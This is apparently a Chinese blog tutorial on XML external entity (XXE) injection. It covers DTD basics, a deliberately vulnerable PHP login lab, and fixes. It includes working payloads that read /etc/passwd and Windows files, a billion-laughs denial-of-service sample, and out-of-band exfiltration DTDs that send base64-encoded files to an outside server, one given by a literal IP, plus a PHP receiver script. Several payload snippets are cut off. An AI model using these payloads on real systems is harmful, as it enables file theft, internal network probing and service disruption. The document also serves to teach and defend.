Xml实体注入漏洞姿势总结

一.漏洞介绍

Xml外部实体注入漏洞(XML External Entity Injection)简称XXE,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网探测和攻击,发起dos攻击等危害

XML外部实体注入攻击漏洞是在对非安全的外部实体数据进⾏行处理时引发的安全问题,触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件,造成攻击危害。

二.XML基础知识

XML全称可扩展标记语言。用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。


文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD可被成行地声明于XML文档中,也可作为一个外部引用。

**内部声明DTD** 
<!DOCTYPE 根元素 [元素声明]>
**引用外部DTD** 
<!DOCTYPE 根元素 SYSTEM "文件名">

带有dtd的XML文档实例:

<?xml version="1.0"?>
<!DOCTYPE note[                                        <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)>               <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>                                   <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)>                             <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)>                       <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)>                              <!--定义body元素为”#PCDATA”类型-->
]>
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>


DTD中普通实体和参数实体:
普通实体:DTD中定义,XML中使用,使用格式: &名;  
参数实体:DTD中定义,定义的时候要用%,DTD中使用,使用格式: %名;
(普通实体和参数实体都分为内部实体和外部实体两种,外部实体定义需要加上 SYSTEM关键字,其内容是URL所指向的外部文件实际的内容。如果不加SYSTEM关键字,则为内部实体,表示实体指代内容为字符串。)

三.xxe的利用方式

1.文件读取
  • 有回显的

①内部引用实体
元素约束Any指元素可以包含任何数据,包含文本数据和子元素

]>
<foo>&xxe;</foo>

②外部引用实体
通过XML引用外面的恶意DTD文件来造成XXE漏洞,% xxe定义参数实体,%xxe在dtd中引用参数实体

%xxe;     
]>
<foo>&b;</foo>

随后在10.6.23.15服务器中写入1.dtd文件
<!ENTITY b SYSTEM "file:///etc/passwd">

  • 无回显的

用外带数据通道提取数据,如将提取的数据发送到外部的http服务器上,后面查看http服务器即可查看到提取的数据内容
1.使用使用php://filter获取目标文件的内容,然后将数据内容为参数值请求外部的http服务器,随后查看http服务器日志就能查看到提取的数据
( php://filter是php只读流,以base64编码的方式读取target.php)

<!DOCTYPE updateProfile [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php">   
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/1.dtd">
%dtd;
%send;
]>

1.dtd的内容,注意内部的%号要进行实体编码成&#x25;

<!ENTITY % all 
"<!ENTITY &#x25; send SYSTEM 'http://xxx.xxx.xxx/?data=%file;'>"
>
%all;

随后访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据

2.其他利用姿势

①读取任意文件(注:读取网站源码要经过编码)

]>
<root>
<name>&xxe;</name>
</root>

②执行系统命令(注:这种情况非常少,在安装expect扩展的PHP环境可以里执行系统命令,其他协议也有可能可以执行系统命令,存在环境限制)

]>
<root>
<name>&xxe;</name>
</root>

③探测内网端口(注:要根据响应时间和报文长度判断端口是否开启,如:当端口关闭时连接会报错)

]>
<root>
<name>&xxe;</name>
</root>

④.攻击内网网站(ssrf)

]>
<root>
<name>&xxe;</name>
</root>

⑤netdoc协议读取文件(java)

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ELEMENT creds ANY>
<!ENTITY xxe SYSTEM "netdoc:///c:/windows/system.ini">
 ]>
 
<creds>&xxe;</creds>

⑥dos拒绝服务(利用迭代参数实体进行拒绝服务,如果解析过程变得非常缓慢则代表测试成功)

<?xml version="1.0"?>
     <!DOCTYPE lolz [
     <!ENTITY lol "lol">
     <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
     <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
     <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
     <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
     <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
     ]>
     
 <lolz>&lol6;</lolz>

四.利用实例

靶场核心代码如下:

<?php
$USERNAME = 'admin'; //账号
$PASSWORD = 'admin'; //密码
$result = null;
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
try{
	$dom = new DOMDocument();
	$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
	$creds = simplexml_import_dom($dom);
	$username = $creds->username;
	$password = $creds->password;
	if($username == $USERNAME && $password == $PASSWORD){
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
	}else{
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
	}	
}catch(Exception $e){
	$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}
header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

当输入错误用户名和密码的时候,服务端就会返回用户名并提示登录错误

利用方式1:读取文件

利用方式2:读取网站源码

将字段字符base64解码后就是网站的源码
以上是存在回显的利用,输入的参数会在服务端中返回,那么当参数不回显时怎么利用呢?
修改代码,让输入的参数不返回在服务端

当用户名错误和密码错误服务端直接返回登录成功和登录失败,不把输入的参数回显出来。这样即使存在XXE漏洞,我们直接构造读取文件的payload,由于数据不回显,我们也无法获取到读取的数据内容。

无回显只是不能获取数据内容,但实则攻击载荷还是会执行。所以可以利用ssrf快速的判断是否存在xxe漏洞(前提是服务器出网):
使用dnslog平台,利用xxe漏洞让服务器访问dnslog,如果存在访问记录就代表漏洞利用成功


那么如何获取数据内容呢?
利用方式1: 外部搭建http服务器,将读取的内容当作请求参数访问外部的Http服务器,查看http服务器的访问记录就能获取文件内容
利用ceye平台接收http请求

1.dtd内容如下:

注意1.dtd中内部的%要进行unicode编码

随后查看请求记录,将data参数值base64解码开就能看到文件内容

利用方式2: 搭建服务器,接收读取的内容
搭建1.php,接收请求参数并写入文件

<?php
file_put_contents('xxe.txt', $_GET['xxe']);
?>

外部1.dtd实体内容(注意:实体内部中引用参数实体,%要进行Unicode编码):
访问外部的1.php,并将读取的win.ini文件内容作为参数值赋值给参数xxe

<!ENTITY % payload  SYSTEM  "php://filter/read=convert.base64-encode/resource=C:/windows/win.ini"> 
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://119.23.104.162/1.php?xxe=%payload;'>"> %int; %trick;

在dtd中引用1.dtd

随后读取的内容会以base64编码后存储在xxe.txt文件中
默认支持的协议:

五.修复建议

  • 1.使用开发语言提供的禁用外部实体的方法:
//php:
libxml_disable_entity_loader(true); 
//java:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();      
dbf.setExpandEntityReferences(false);
//Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
  • 2.过滤用户提交的XML数据:

过滤关键字:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

  • 3: 不允许XML中含有自己定义的DTD

参考链接:

https://www.freebuf.com/articles/web/97833.html
https://www.cnblogs.com/bmjoker/p/9452349.html

  • 3
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
XML外部实体注入漏洞XML External Entity Injection, 简称XXE)是一种常见的安全漏洞,攻击者可以利用这种漏洞来读取任意文件、执行系统命令等操作。 在XML文档中,可以通过定义实体来引用外部资源,例如文件、URL等。当XML解析器解析XML文档时,如果不对外部实体进行限制,攻击者可以通过构造恶意的XML文档,将外部实体指向敏感文件或者恶意URL,从而导致漏洞。 具体来说,攻击者可以在XML文档中定义一个实体,使用DTD(Document Type Definition)语法将该实体指向一个外部文件,然后在XML文档中使用该实体。当XML解析器解析该实体时,就会将指定的外部文件读取进来,从而导致漏洞。 例如,下面的XML文档定义了一个名为“file”的实体,指向了一个敏感文件“/etc/passwd”: ``` <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE message [ <!ELEMENT message (#PCDATA)> <!ENTITY file SYSTEM "file:///etc/passwd"> ]> <message>&file;</message> ``` 如果XML解析器不对外部实体进行限制,那么解析该文档时就会读取“/etc/passwd”文件的内容,并将其包含在<message>元素中返回给应用程序,从而导致敏感信息泄漏。 为了防止XXE漏洞,可以采取以下措施: 1. 禁止使用外部实体,或者限制外部实体的使用范围。可以在XML解析器中设置相关参数,例如禁止加载外部实体、禁止解析DTD等。 2. 对外部实体进行白名单过滤,只允许加载特定的URL或文件。 3. 检查输入数据,避免恶意输入注入XML文档中。 4. 对于持久化的XML数据,应该使用安全XML库来处理,例如使用DOM4J或JAXB等库,这些库会自动过滤掉外部实体
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值